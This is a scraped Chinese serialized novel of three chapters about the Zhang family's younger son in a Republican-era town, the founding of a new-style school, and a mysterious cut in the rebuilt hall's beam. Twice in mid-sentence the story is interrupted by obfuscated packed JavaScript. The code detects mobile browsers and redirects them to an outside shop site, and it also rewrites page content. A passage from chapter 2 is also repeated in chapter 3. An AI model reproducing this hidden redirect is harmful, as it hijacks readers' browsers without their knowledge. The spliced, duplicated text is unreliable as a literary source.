《青石往事》 1. 第一章 那些过往 那个年代，温饱是最重要的。小镇上只有张家不会因此烦恼。张家是外来定居的，因为心善好施，镇上的人逐渐接纳了他们。 张家初来时，镇上的老辈人背地里议论过——这般齐整的一家人，为何偏选这偏僻小镇落脚？张老太爷不辩解什么，只默默在镇东头置了宅院，开了春，雇人疏浚了淤塞多年的引水渠。盛夏暴雨倾盆，别处的田都淹了，唯独青石镇因水道通畅，庄稼保住大半。自那以后，镇上人看张家的眼神才软和下来，渐渐有了走动。只是张家究竟从何处来、为何而来，仍是茶余饭后解不开的谜。 镇上人都知道张家有位小少爷，却鲜有人见过真容。只偶尔有路过张家后巷的人，听见墙内传来琅琅书声或箭矢破风的轻响，才恍惚想起：张老太爷那位藏着养着的小儿子，原来已到了能文能武的年纪。琴棋书画骑射都由张家在京都请来的，据说张夫人怀孕后就着手准备了。 其实张家还有一个大儿子，曾是镇上出了名的学者，匿名偷跑去私塾教导孩童数学和武术，深受镇上邻里的喜爱。由于三个月未曾踏足家门一步，被张老太爷寻回，镇上的人才知道他是张家的。 后来由于对侵略者的痛恨，他偷跑参了军，偶有军中同乡捎来模糊口信，只说人在北地，一切安好，却始终不见一封亲笔书信。这似有若无的音讯，反让张家人的心悬得更高。这件事对张家是一个打击，让他们沉寂了许久。 这天，张家照常布施。除了米粥菜蔬，每人竟还得了一个红蛋。猜测议论多时未能猜出结果，众人推举镇上的大家长前去了解情况——对于喜事，镇上百姓很乐于恭祝的。那一天，张家小少爷十五岁了。 红蛋在粗布衣襟里滚着温乎乎的热气。镇民们攥着这抹意外的红，交头接耳声嗡嗡响成一片，像煮开的粥。最终，德高望重的陈老秀才被推了出来。他整了整洗得发白的长衫，叩响了张家那扇常虚掩着的黑漆门。 门开了，是张老太爷自己。他今日穿了件暗紫团花缎袄，脸上透着久违的光亮，像梅雨天里忽然晾出的棉絮。 “陈老先生，”他拱手，眼角皱纹堆起笑意，“可是为这红蛋？家里小儿今日行冠礼，虚岁十五了。一点乡俗，同喜，同喜。” 消息风似的卷过石板路。不一会儿，张家门庭前便热闹起来。镇民们不再拘谨，篮里揣着攒下的干枣、新染的粗布，甚至孩童在溪边捡的奇巧石子，都往门房里送。张家也不推辞，让下人搬出几条长凳，檐下摆开茶水。 正热闹着，后院月洞门里走出个人来。少年身量已显，穿着八成新的藏青学生装，短发齐整，只是脚下那双锃亮皮鞋，踩在青苔上略显生疏。他手里攥着本书，见这许多人，脚步顿住了，耳根微微发红------这便是那位只闻其名、未见其面的小少爷了。 院里静了一霎。镇民们的目光齐刷刷投过去，带着好奇的打量。这便是张老太爷藏了十五年的小儿子？模样倒是清俊，只是瞧着有些腼腆。 "静轩，来。"张夫人从后头轻推他一把，眼里是藏不住的笑与泪，又低声提醒道：“叫叔伯婶娘。” 小少爷定了定神，上前几步，作了揖，嗓音清亮却还带点稚气："各位乡邻安好。"举止是京都先生们调教出的规矩，可眼神扫过孩子们手里脏兮兮的陀螺时，那好奇劲儿又透了底。 陈老秀才呷了口茶，对张老太爷笑道：“老太爷好福气。大公子当年……”话出口才觉失言，忙住了嘴。 院里静了一瞬。 张老太爷望着檐角一块明瓦，那里透下的光照着浮尘缓缓舞动。“老大若在，该是……”他摆摆手，没再说下去，只转头看向小儿子，目光复杂。 不知哪个孩子嚷了句：“小少爷，你也会打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140643|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拳么？以前大少爷教过我们马步！” 少年眼睛倏地亮了，书往石凳上一搁：“拳脚略知一二，但我会射箭。”他性子到底是活泼的，转身便往院里跑，边跑边喊，“我爹上月送我的弓！” 弓是湘竹做的，刷了清漆，弦绷得紧。他立在院中，对着老槐树上悬的一枚铜钱，拉弓的姿态竟有模有样。阳光透过叶隙，在他肩头跳跃。 箭离弦时，偏了寸许，擦着铜钱边，“笃”一声钉进树干。少年懊恼地跺了下脚，崭新皮鞋沾了泥。众人却轰然叫起好来——在这小镇，能拉开弓已是了不得。 张老太爷看着小儿子捡箭的背影，忽然对陈老秀才低声道：“这世道，念书、习武，不知哪样才能真正护得他周全。”声音里带着过来人的疲惫，与一丝难以言喻的忧虑。 傍晚，贺客散尽。 小少爷帮着收拾散落的红蛋壳，忽然抬头：“爹，大哥用的，也是这把弓么？” 张父正弯腰拂去石凳上的灰，动作停了停。“不是，”他说，“你哥那会儿，用的是我年轻时在关外得的牛角弓。”他直起身，望向西边天际最后一抹暗红，“那弓……他带走了。” 少年“哦”了一声，低头继续捡。一片蛋壳捏在指尖，映着将尽的天光，红得像要滴出血来。 夜里起了风，吹得书房窗纸噗噗作响。 少年在灯下临帖，写着写着，笔尖一顿，在宣纸上洇开一团墨。他忽然想起日间那射偏的一箭，想起父亲眼中深沉的忧虑，也想起几年未见的大哥——那个据说能百步穿杨，却消失在战火里的人，至今未给家里捎过一字半句。 他吹灭灯，在黑暗里坐了很久。院外，小镇已沉入梦乡，只有更夫梆子声，一声，又一声，稳稳地响在深巷里。 远处，隐约有火车汽笛传来，悠长，恍惚，像另一个世界的呼吸。 2. 第二章 新学旧影 红蛋的余温在镇民的口耳相传中渐渐凉透，张家小少爷张静轩行冠礼的事，却像一颗石子投入古井，漾开的涟漪迟迟未散。 清晨的雾气还未完全散去，张静轩已经站在后院那棵老槐树下。他手里握着那把湘竹弓，指尖反复摩挲着弓弦勒出的浅痕。自那日射偏一箭，这已是他第七个早晨站在这里。十五岁少年的倔强，像初春冻土下拼命顶出的草芽。 “手腕再沉三分。” 声音从月洞门边传来。张静轩回头，看见父亲不知何时站在那里，披着件灰鼠皮坎肩，手里端着黄铜水烟壶。 张老太爷走近，将水烟壶搁在石凳上，站到儿子身后。那双经年拨算盘、翻账本的手，此刻轻轻覆上少年拉弓的腕。“你大哥第一次学射时，总急着撒放。”他的声音很平静，像在说昨日市集的米价，“我告诉他，箭在弦上时，最要紧的不是靶心，是知道为何而射。” 张静轩感到父亲手掌的温度透过衣袖传来，微微粗糙的掌心有常年握笔留下的茧。他屏住呼吸，重新拉满弓弦。这一次，视线穿过箭簇，那枚悬在枝头的铜钱在晨光中微微发亮。 箭离弦的刹那，他忽然明白了父亲的话——弓弦震动的嗡鸣中，他听见的不仅是竹木的震颤，还有血液奔流的声音，属于张家，也属于这个从未真正走出过的青石镇。铜钱应声而落，“叮当”一声滚到青砖上。 张老太爷什么也没说，只拍了拍儿子的肩，转身端起水烟壶走了。张静轩看着父亲的背影，发现那件总挺括的长衫，今日肩胛处竟有些松垮。 早饭时，张夫人往儿子碗里夹了个煎得金黄的荷包蛋。“你爹一早去镇公所了，”她说，目光在丈夫空着的座位上停留片刻，“省里来了文书，要各镇筹办新式学堂。” “新式学堂？”张静轩放下筷子。 “就是洋学堂。”管家福伯端着一碟酱菜进来，接话道，“听说要教算学、格致，还有洋文。老太爷被推举为筹备会的副会长。” 张夫人轻轻叹了口气：“这兵荒马乱的年月，办什么学堂……”话未说完便止住了，只低头搅动着碗里的粥。 张静轩却感到心口有什么东西被点燃了。京都先生们教过他格致初阶，那些关于蒸汽之力、电光之妙的讲述，总让他觉得窗外的世界不止青石镇这般大小。他匆匆扒完饭，说要去书院还书——那是镇上唯一的书铺兼租借处，老板是个前清落第秀才。 他想起大哥留在家中的那些扉页发黄、边角卷起的书——《时务报》《瀛寰志略》，里面说的火车、议会、格致之学，京都先生虽也略讲，却总叹一句“此非正途”。可那些文字里的世界，像暗夜里的星火，一直在他心里闪着。 青石镇的主街由青石板铺成，经年累月被脚步磨得光滑。清晨的市集刚刚开张，挑着担子的货郎、摆开摊位的农妇、提着乌笼遛鸟的老者，构成一幅熟悉的市井图。张静轩穿过人群，不时有相熟的镇民打招呼： “小少爷早啊！” “张家少爷，那日箭射得漂亮！” 他一一回应，脚步却不自主地加快。书院的门脸很小，两扇木板门上贴的对联已褪成淡红：“藏书未必皆有用，识字从来不算多”。推门进去，一股陈年纸张与墨锭混合的气味扑面而来。 老板赵秀才正趴在柜台后打盹，鼻梁上的圆框眼镜滑到了鼻尖。听见门响，他猛地惊醒，眼镜差点掉下来。 “静轩啊，”他扶正眼镜，看清来人后露出笑容，“又来淘书了？” “赵先生早。”张静轩恭敬地行礼——对读书人，父亲总教导他必须持礼。他径直走向靠墙的那排书架，那里有赵秀才从省城偶尔带回的“新书”。 手指滑过书脊：《天演论》《变法通议》《西学东渐记》……这些书大多品相不佳，边角卷起，页间有不知名的批注。张静轩抽出一本《泰西工艺初探》，翻开扉页，上面用铅笔写着：“实业救国，匹夫有责”，字迹潦草却有力。 “那本是前年一个过路的先生留下的，”赵秀才不知何时站到了他身后，声音压低了些，“听说后来去了南边，搞什么……机器纺纱。” 张静轩抬头：“赵先生，您知道新式学堂的事吗？” 赵秀才镜片后的眼睛眨了眨，忽然扯了扯嘴角，那笑容有些复杂：“知道，怎么不知道。陈老秀才为这事，已经三天没睡好觉了。” 原来，镇公所里为办学堂的事，早已分作两派。以陈老秀才为首的旧派，主张“中学为体”，即便办学，也应以经史为重；而以镇长儿子——刚从省城师范学堂毕业的卢明远为首的新派，则坚持要全面推行新学，甚至提出要请女先生，开设女子班。 “你父亲……”赵秀才顿了顿，“处在中间。” 张静轩付了租书钱，抱着那本《泰西工艺初探》走出书院时，日头已升高。他想着父亲昨夜书房里亮到深夜的灯，想着母亲欲言又止的叹息，脚步不由得转向镇公所方向。 镇公所原是前清巡检司的旧衙，飞檐翘角，门前石狮已被风雨侵蚀得面目模糊。张静轩还没走近，就听见里面传出的争执声： “……女子无才便是德！让女娃娃抛头露面进学堂，成何体统！”是陈老秀才激动的声音。 另一个年轻些的声音紧接着响起，不卑不亢：“陈老，如今是民国了。蔡元培先生执掌的教育部明文规定，男女皆有受教之权。况且镇上多少女子在纱厂、绣坊作工，识字明理，对家对国岂无益处？” 张静轩悄悄靠近窗根，透过雕花木窗的缝隙往里看。议事堂里坐着十来个人，父亲坐在左侧上首，手里捏着那份省里来的文书副本，眉头微蹙。对面是个二十出头的青年，穿着立领学生装，头发剪得短短的，正是卢明远。 陈老秀才气得胡子直颤，指着卢明远：“你、你在外头学了几天洋派，回来就要把老祖宗的规矩都掀了？我问你，若是女子都进了学堂，谁来持家？谁来纺纱绣花？” “持家与识字何冲突？纺纱绣花与明理又何矛盾？”卢明远站起身，向在座众人拱手，“诸位叔伯，明远并非要全盘否定旧学。只是如今外有强敌环伺，内有民生凋敝，若再不启民智、兴实业，只怕……” 他话未说完，一个胖乎乎的中年商人咳嗽一声：“卢贤侄说得在理。不过办学要钱，这经费从何而来？省里文书说得轻巧，让地方自筹，咱们青石镇去年遭了水，今年春蚕又收成不好，税都收不齐，哪来的余钱办新学堂？” 这话像一瓢冷水，泼灭了刚刚燃起的争论火苗。众人都沉默了，目光不约而同投向张老太爷。 张静轩看见父亲缓缓放下文书，双手按在膝上，那是他深思时的习惯动作。“经费的事，”张老太爷开口，声音不高，却让整个议事堂安静下来，“省里答应拨一部分，缺口由地方补足。我张家……愿出三成。” 满座哗然。三成不是小数目，尤其在这青黄不接的时节。 陈老秀才急道：“张公，这使不得！您家布施乡里已是大善，怎能再……” “陈老，”张老太爷抬手止住他的话，目光扫过在座每一张脸，“这钱不是白出。我有一个条件。” 卢明远眼睛一亮：“张伯父请讲。” “学堂要办，但不能全盘照搬省城的章程。”张老太爷站起身，走到堂中那幅斑驳的“明镜高悬”匾额下，“青石镇有青石镇的实际。男班女班都可开，但女子班需有女先生，且课程要兼顾家政、女红。经史要读，算学格致也要教。另外……” 他转身，目光忽然变得锐利：“需开一门乡土课，教孩子们知道青石镇的山川地理、物产风俗，知道我们从何处来。” 这番话说完，堂内静得能听见外面街市的嘈杂。陈老秀才张了张嘴，最终没说出什么。卢明远沉思片刻，郑重躬身：“张伯父思虑周全，明远佩服。” 胖商人又咳了一声：“那张公，另外七成……” “余下的，”张老太爷坐回位置，重新拿起那份文书，“按田亩、商铺摊派。镇上二十七户殷实人家，我都拟了单子，公平合理，诸位可一同商议。” 窗外的张静轩悄悄退开几步，靠在冰凉的砖墙上。晨风吹过庭院里那株老桂树，沙沙作响。他忽然想起大哥——如果大哥在，会站在哪一边？那个会偷偷教穷孩子识字、会因痛恨侵略者而离家从军的大哥，一定也会支持办学吧？ 正想着，身后传来脚步声。张静轩回头，看见卢明远从侧门走出来，正低头点一支烟卷，抬头看见他，卢明远愣了一下。随即笑了：“张家小少爷？来听议事？” 张静轩并未因对方年长且见识广而露怯，反而将怀中那本《泰西工艺初探》抱得更紧了些，抬眼迎上卢明远的目光：“我……路过。”卢明远见状，脸上公式化的笑意淡去，换上一丝真正的兴趣。 卢明远走过来，目光落在他手中的《泰西工艺初探》上，笑意更深了：“好书。静轩弟也对这些感兴趣？” “随便看看。”张静轩顿了顿，鼓起勇气问，“卢大哥，新学堂……真能办成吗？” 卢明远深吸一口烟，缓缓吐出，青烟在晨光中缭绕。“难。”他说得很直接，“钱是一难，人是二难，最难的是……”他用夹烟的手指点了点太阳穴，“这儿。很多人觉得，乱世之中，识字不如识米。” “可我爹说，越是乱世，越要读书明理。” 卢明远看了他片刻，忽然伸手拍了拍他的肩：“张伯父是有远见的人。静轩弟，你今年十五了吧？等学堂办起来，你可要来当第一个学生。” “我？”张静轩一怔，“我有先生在教……” “京都请的先生固然好，”卢明远掐灭烟卷，神色认真起来，“可学堂里不只有先生。还有同龄人，有不同的想法，有争吵，有辩论。那才是真正的‘学’。” 他说完，又笑了笑，转身走了。张静轩站在原地，看着那个穿着学生装的背影消失在镇公所的影壁后。怀里的书忽然变得沉甸甸的。 回家的路上，他在街角看见一个熟悉的身影——福伯蹲在米店前，正和掌柜低声说着什么。张静轩本想打招呼，却听见福伯叹气道：“……老太爷让把城东那三十亩水田典出去，说办学堂要紧。” 掌柜的咂嘴：“张公这是何必？这些年布施、修桥、铺路，家底再厚也经不起这么耗啊。” “你懂什么，”福伯声音压得更低，“老太爷心里憋着股劲呢。大少爷当年走的时候，留了封信，说‘国若不国，家何以家’……老太爷嘴上不说，心里都记着。” 张静轩悄悄退开，绕了另一条路回家。那句话在他心里反复回响：“国若不国，家何以家”。大哥的字迹他见过，遒劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140644|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有力，就题在父亲书房那幅《山河图》的留白处。午饭时，张老太爷回来了，神色疲惫却舒展。张夫人盛汤时轻声问：“定下了？” “定下了。”张老太爷接过汤碗，“学堂就设在旧祠堂的西厢，收拾收拾，秋后就能开课。先生的人选……”他看了一眼埋头吃饭的儿子，“卢家那小子推荐了他在省城的同学，一男一女，都是师范毕业的。” 张静轩抬起头：“女先生？” “嗯，姓苏，叫苏宛音。”张老太爷夹了一筷子菜，“听说家里原是书香门第，后来败落了，她半工半读念完的师范。” 张夫人有些担忧：“一个年轻姑娘，独自来咱们这小镇……” “卢家小子担保的人品。”张老太爷顿了顿，“况且，她父亲……我听说过，戊戌年那会儿，是个维新派，后来病故了。” 饭桌上一时沉默。戊戌变法，哪怕在这偏远的青石镇，也是个敏感的词。张静轩看见母亲的手微微抖了一下，汤勺碰在碗沿，发出清脆的声响。 午后，张静轩照例去书房练字。推开门的瞬间，他怔住了——父亲坐在书案后，面前摊开的不是账本，而是一幅泛黄的地图。见他进来，张老太爷招手：“静轩，过来。” 那是青石镇及周边山川的地图，墨线已有些模糊，但村落、河流、山道仍清晰可辨。张老太爷的手指沿着镇外那条蜿蜒的青云河滑动：“你看，咱们青石镇，东依青云山，西临青云河，水路陆路都通省城，本是块宝地。” 他的指尖停在镇南一处：“这里，旧时有座文峰塔，同治年间塌了，再没修起来。陈老秀才那辈人说，塔在时，镇上出过三个进士。”手指又移到镇北，“这儿，前清设过关卡，收厘金，后来废了。如今……” 张老太爷没有说下去，只深深叹了口气。张静轩看着父亲花白的鬓角，忽然问：“爹，您为什么一定要办学堂？” 书房的窗开着，院里的栀子花香飘进来，混着墨锭的清苦气。张老太爷沉默了很长时间，久到张静轩以为他不会回答了。 “因为你大哥走的那天，”他终于开口，声音很轻，像怕惊动什么，“回头看了一眼祠堂的方向。那时我就知道，他舍不得的不只是这个家，还有这片水土养出的人。” “这些年我总想，若是他小时候，镇上就有个像样的学堂，能堂堂正正地学新知识、明新道理，也许……”张老太爷摇摇头，没有说下去，转而道，“你大哥没走完的路，总得有人接着走。这学堂，就是路。” 张静轩的心被什么东西攥紧了。他想起那把牛角弓，想起几年未见的大哥，想起箭离弦时血液奔流的声音。 “爹，”他说，“开学那天，我想去报名。” 张老太爷抬起头，看着儿子。十五岁的少年，眉眼间已有张家人的轮廓，但眼神清澈，尚存稚气。他看了很久，终于点点头：“好。但京都先生的课也不能落下。” “是。” “还有，”张老太爷从抽屉里取出一个扁长的木匣，推到儿子面前，“这个，给你。” 张静轩打开匣子，呼吸一滞。里面躺着一把弓，不是他练习用的湘竹弓，而是一把打磨光润的榆木弓，弓身弧度优美，弦是牛筋的，绷得紧紧的。最特别的是弓弣处，阴刻着一行小字：“守静笃，观复明”。 “这是你爷爷传给我的，”张老太爷说，“他说，张家人可以读书经商，可以入仕从军，但心里总要绷着一根弦。这根弦，叫本分。” 张静轩小心翼翼拿起弓，手感沉实，弓身有经年摩挲形成的包浆，温润如玉。他忽然明白，这不是一把用来射铜钱的弓。 黄昏时分，他带着新弓来到后院。老槐树下，那枚铜钱还悬在原处，在夕照中泛着暗金色的光。张静轩搭箭，拉弦，这一次他没有急于瞄准，而是闭上眼睛。 风声、树叶沙沙声、远处街市的嘈杂声、更夫试梆子的轻响……都在耳边流过。他想起父亲摊开的地图，想起大哥留在《山河图》上的字迹，想起卢明远说的“乱世之中，识字不如识米”，想起福伯低声说的“国若不国，家何以家”。 弓弦缓缓拉满。 箭离弦的瞬间，他睁开眼。箭簇破开暮色，带着轻微的呼啸，穿过铜钱方孔，“夺”一声钉进树干。铜钱在箭杆上颤了颤，稳稳停住。 张静轩放下弓，掌心有汗。他走过去拔出箭，铜钱落入手心，微凉。转过身时，他看见父亲站在月洞门下，不知已看了多久。 张老太爷什么也没说，只是点了点头，转身消失在渐浓的暮色里。 那天夜里，张静轩在灯下翻看《泰西工艺初探》。书页间滑出一张纸条，铅笔字迹已经模糊，但仍能辨认：“机器可代人力，不能代人心。救国之道，在启民智，在正人心。” 窗外，镇公所方向传来隐约的敲打声——旧祠堂已经开始修缮了。声音沉闷，却一声接一声，稳稳地，敲在青石镇的夜色里。 更远处，青云河的水潺潺流淌，带着上游山野的气息，穿过石桥，绕过镇子，向着省城的方向，昼夜不息。 张静轩吹熄油灯，在黑暗里摩挲着那把榆木弓上的刻字。守静笃，观复明。月光从窗棂漏进来，在地面上铺开一片清辉，像一条朦胧的路。 他忽然觉得，十五岁这年秋天，有些什么东西，正要开始。 3. 第三章 弦动新声 旧祠堂修缮的敲打声持续了整整十天。 每天清晨，那咚咚的闷响就准时响起，像一颗缓慢而坚定的心跳，回荡在青石镇的晨雾里。张静轩推开窗，能看见祠堂方向的屋脊上，工匠们的身影在秋日晴空下移动，瓦片被一块块揭起，又换上新的。 福伯从廊下经过，抬头看了看天色：“今儿是个好日子，上梁。” 按照青石镇的旧俗，房屋修缮到上梁这日，主家要备酒肉、撒喜钱，匠人们唱起上梁歌，邻里都来讨个彩头。张静轩匆匆吃了早饭，跟着父亲往祠堂去。张老太爷手里提着一只竹篮，里面装着红布包裹的铜钱和几封红纸包的喜银。 祠堂前的空地上已经聚了不少人。陈老秀才拄着拐杖站在最前头，仰脸看着工匠们在梁架上忙碌。卢明远也来了，今日换了身半旧的长衫，正和几个年轻人在说话，见张家父子来了，忙迎上来。 “张伯父，静轩弟。” 张老太爷点点头，将竹篮交给候在一旁的工头：“按老规矩办，图个吉利。” 日头升高时，主梁终于吊装到位。那是根两人合抱的柏木梁，刨得光滑，正中贴着一张红纸，上书“文星高照”四个大字。工头是个五十来岁的黑脸汉子，清了清嗓子，开口唱道： “一根柏木出南山哎——鲁班弟子请下凡——” 粗犷的调子在秋阳下荡开，围观的镇民们跟着喝彩。工匠们将梁木稳稳落进榫卯，工头抓起一把铜钱，撒向人群。孩童们嬉笑着争抢，大人们也伸手去接，图个喜庆。 张静轩站在人群外围，目光却落在祠堂西厢那排刚刚修葺一新的窗棂上。窗纸还没糊，一个个方正的窗洞像眼睛，空洞地望着外面的世界。他想，不久后，这里就会有读书声，有粉笔在黑板上划过的声音，有少年人争论的声音。 “想什么呢？” 卢明远不知何时站到了他身边，递过来一块用油纸包着的米糕。“尝尝，王婆婆刚蒸的，说是贺学堂上梁。” 张静轩接过，米糕还温着，带着淡淡的桂花香。“卢大哥，”他咬了一口，含糊地问，“先生们什么时候到？” “就这两天。”卢明远也望着西厢，“男先生姓程，是我师范学堂的同窗。女先生苏宛音……应该已经动身了。” 他的语气里有一丝不易察觉的停顿。张静轩侧头看了他一眼，发现卢明远耳根微微发红，忙低头装作吃糕。 上梁仪式结束，人群渐渐散去。张老太爷被陈老秀才等人围着，商量着开学典礼的事宜。张静轩独自绕到祠堂后面，那里原是一小片荒废的菜园，如今被平整出来，用石灰画出了几个方框——这是规划的操场。 张静轩已站在老槐树下。他手里握着那把湘竹弓，指尖反复摩挲着弓弦勒出的浅痕。自那日射偏一箭，这已是他第七个早晨站在这里。十五岁少年的倔强，像初春冻土下拼命顶出的草芽。 “手腕……再沉……三分。” 一个暗哑如破风箱的声音从墙根下传来。张静轩一惊，回头看见老哑头蹲在那儿，就着瓦罐喝水。那人头发脏乱纠结，脸上布满风霜刻下的乱纹，喉咙处一道暗红色的旧疤，像被什么勒过或烫过。 老哑头指了指自己的喉咙，摇摇头，又指指耳朵，点点头——那意思是能听不能说。他放下瓦罐，颤巍巍站起身，佝偻着走到张静轩身后。那双枯瘦如柴的手，竟稳稳托住了少年拉弓的腕。 张静轩感到那双手的温度——冰凉，却有力。他依言调整，弓弦缓缓拉满。 箭离弦的瞬间，老哑头喉咙里发出嗬嗬的声响，像赞许，又像叹息。箭簇擦着铜钱边掠过，“笃”一声钉进树干。 “偏了……寸许。”老哑头的声音沙哑得几乎辨不清字词，每个字都像从砂纸上磨出来，“但……架势……有了。” 他弯腰捡起瓦罐，动作迟缓，却有种奇异的稳定。张静轩忽然问：“您……会射箭？” 老哑头浑浊的眼睛动了动，咧开嘴，露出一口的黄牙。他喉咙里先发出嗬嗬的声音，像破风箱拉扯，尝试了几次，才挤出几个字：“年轻……时……摸过。”他顿了顿，用枯瘦的手指在空中虚划了一个弧度，“关外……林子大……弓要……硬。” “您去过关外？”张静轩心头一动。 老哑头没回答，只是望着远处的青云山。晨光正从山脊后爬上来，将山岚染成淡淡的金红色。他看了很久，久到张静轩以为他不会说话了。 “有些地方……”他忽然开口，声音更低，更哑，像从很远的地方飘来，“去过了……就忘不掉。” 他弯腰从地上捡起一片落叶——是槐树的叶子，已经枯黄，叶脉清晰如掌纹。他用指甲在叶面上划了一道，叶子脆生生裂成两半。 “就像这叶子……”他抬起眼睛，那双浑浊的眼底，竟闪过一丝极锐利的光，快得让人以为是错觉，“看着完整……里头……早裂了。” 这话说得没头没脑。张静轩正要再问，老哑头却已经提起那只破瓦罐，蹒跚着走远了。他的背影在晨雾中佝偻成一团模糊的影子，只有脚步声——一步轻，一步重，像左腿有什么旧伤。 张静轩站在原地，手里还握着弓。他忽然想起父亲说过的话：“这世上有些人，身上背着咱们想象不到的故事。” 老槐树的叶子沙沙响着，又落下几片。张静轩抬头，看见那枚铜钱还在枝头晃荡，在晨光里泛着黯淡的、旧时代的颜色。 他重新搭箭，拉弦。 这一次，他没有急着瞄准。 晚饭时，他提起了老哑头。 张老太爷放下筷子，沉默良久，才道：“那人……我有点印象。大约是两年前来的镇上。那时他腿脚还利索，只是不说话，在码头扛过活。后来不知怎的，竟成了乞丐。” “他说他去过关外。” 张夫人轻轻“啊”了一声：“那得是多少年前的事了……” “光绪二十年，”张老太爷缓缓道，“到如今，整整四十三年了。”他看向儿子，语气低沉，“静轩，这世上有些人，身上背着咱们想象不到的故事。你遇见了，听听就好，莫要深究。” 张静轩点点头，可心里那点疑惑，却已如种子落土，悄然生根。 夜里，他躺在榻上，听见外头起风了。秋风吹过屋瓦，发出呜呜的声响，像某种低泣。他想起老哑头那双清亮的眼睛，想起他说“看着完整里头早裂了。”，想起大哥离家那夜，是不是也听过这样的风声？ 迷迷糊糊睡去时，远处祠堂的方向，似乎又传来一声轻微的敲打——是工匠忘了工具，还是别的什么？ 次日清晨，张静轩被一阵喧哗声吵醒。他披衣起身，推开窗，看见福伯匆匆从前院跑来，脸上带着罕见的慌张。 “怎么了福伯？” “小少爷，祠堂……祠堂出事了！” 张静轩心头一紧，胡乱套上衣服就往外跑。赶到祠堂时，那里已经围了不少人。卢明远和陈老秀才都在，两人脸色都很难看。张老太爷背着手站在西厢屋檐下，仰头看着什么。 张静轩顺着父亲的目光看去，呼吸一滞——昨夜刚刚上好的那根柏木主梁，正中贴“文星高照”红纸的地方，被人用刀划了一道深深的刻痕。刻痕斜贯整个梁木，将“文星”二字劈开，触目惊心。 “这是……谁干的？”张静轩听见自己的声音发紧。 工头搓着手，满脸惶恐：“张老爷，卢先生，我们昨晚收工时还好好的！门窗都锁了，钥匙在我这儿……”他掏出一串铜钥匙，手在抖。 卢明远上前摸了摸那道刻痕，眉头紧锁：“是新痕，刀口还露着白茬，应该是后半夜的事。”他转向围观的镇民，“各位叔伯，昨夜可听见什么动静？” 人们面面相觑，摇头。秋夜风大，谁会在意祠堂这边的声响？ 陈老秀才拄着拐杖的手在抖，不知是气还是怕：“造孽，造孽啊！这是冲撞了文曲星！这学堂……怕是不吉！” “陈老莫急。”张老太爷终于开口，声音平静得让人意外。他走到梁下，仔细看了看那道刻痕，忽然说：“不是冲着文曲星来的。” 众人都看向他。 “你们看，”张老太爷指着刻痕的走向，“这一刀，是从左下向右上斜劈。若是要毁‘文星高照’四字，大可以横着划，或者乱砍。可这一刀——”他的手指在空中虚划，“干净利落，带着股劲儿。不像毁，倒像……留个记号。” 卢明远眼睛一亮：“张伯父的意思是，这是有人故意留下的警告？” “警告什么？”有人问。 张老太爷没有回答，只是转身对工头说：“找块木板，把刻痕遮了。梁还是好梁，学堂照办。” “可是张公……”陈老秀才还想说什么。 “陈老，”张老太爷打断他，目光扫过在场每一个人，“青石镇要办新学堂，这事已经传出去了。有人赞同，就有人反对。咱们若是被这一刀吓退，不正合了某些人的意？” 他的声音不高，却字字清晰，落在晨光微凉的空气里。张静轩看着父亲的侧脸，那平日里温和的眉眼此刻显出一种罕见的坚毅。他忽然想起那把榆木弓上的刻字：“守静笃，观复明”。守静不是退缩，观复是为了看清。 人群渐渐散去，工匠们开始找木板遮盖刻痕。张静轩留在最后，等人都走了，他独自走进西厢。晨光从窗洞照进来，在地上投出一个个方正的光斑。空气中飘着新木和石灰的气味，还有一丝若有若无的、铁锈般的腥气。 他在那道梁下站了很久，仰头看着被木板遮住的刻痕。忽然，眼角余光瞥见墙角有什么东西一闪。在一片灰白碎屑中，一点暗红刺入眼帘——是片边缘锋利的陶片，像是随着那一刀劈砍，从某种器物上崩落下来的。 张静轩捡起碎片，对着光仔细看。碎片边缘锋利，颜色暗红如凝血，表面有隐约的纹路，但看不真切。他将碎片揣进怀里，走出祠堂时，太阳已经完全升起来了，青石板路上光影分明。 回家的路上，他遇见老哑头。老人正蹲在街角，面前摆着个破碗。看见张静轩，他浑浊的眼睛动了动，忽然伸手指了指祠堂的方向，又指了指自己的胸口，摇了摇头。 “您是说……祠堂的事，和您无关？”张静轩试探着问。 老哑头点头，然后伸出三根手指。 “三个人？” 摇头。老哑头又做了个握刀劈砍的动作，然后三根手指在眼前晃了晃。 张静轩心头一跳：“您是说……这是第三回了？以前也发生过？” 老哑头深深看了他一眼，那眼神浑浊深处，似有极微弱的火星一闪，像隔着一层厚冰望向篝火。他收回手指，重新低下头，脖颈处的旧疤在阳光下显得愈发暗红刺目。 只是这一次，他木然垂首的姿势里，似乎透着一丝极难察觉的僵直，仿佛在压抑着什么。张静轩再问，他便只是摇头，喉咙里发出嗬嗬的含混声响，像个真正的哑巴。但少年转身离开时，分明感到背上落着两道目光，沉甸甸的，一直目送他走出巷口。 午饭时，张静轩把碎片和早上的事说了。张老太爷接过那片暗红色的碎片，在指尖捻了捻，又凑到鼻尖闻了闻，脸色渐渐凝重。 “这是陶片，”他说，“但釉色不对。寻常陶器是土黄或青灰，这红色……像是加了朱砂。” “朱砂？”张夫人放下筷子，“那不是道士画符用的吗？” 张老太爷没有接话，只是将碎片收进袖中：“静轩，这事你别再管了。好好准备入学的事。” “可是爹，老哑头说这是第三回了。以前还有过两次？” 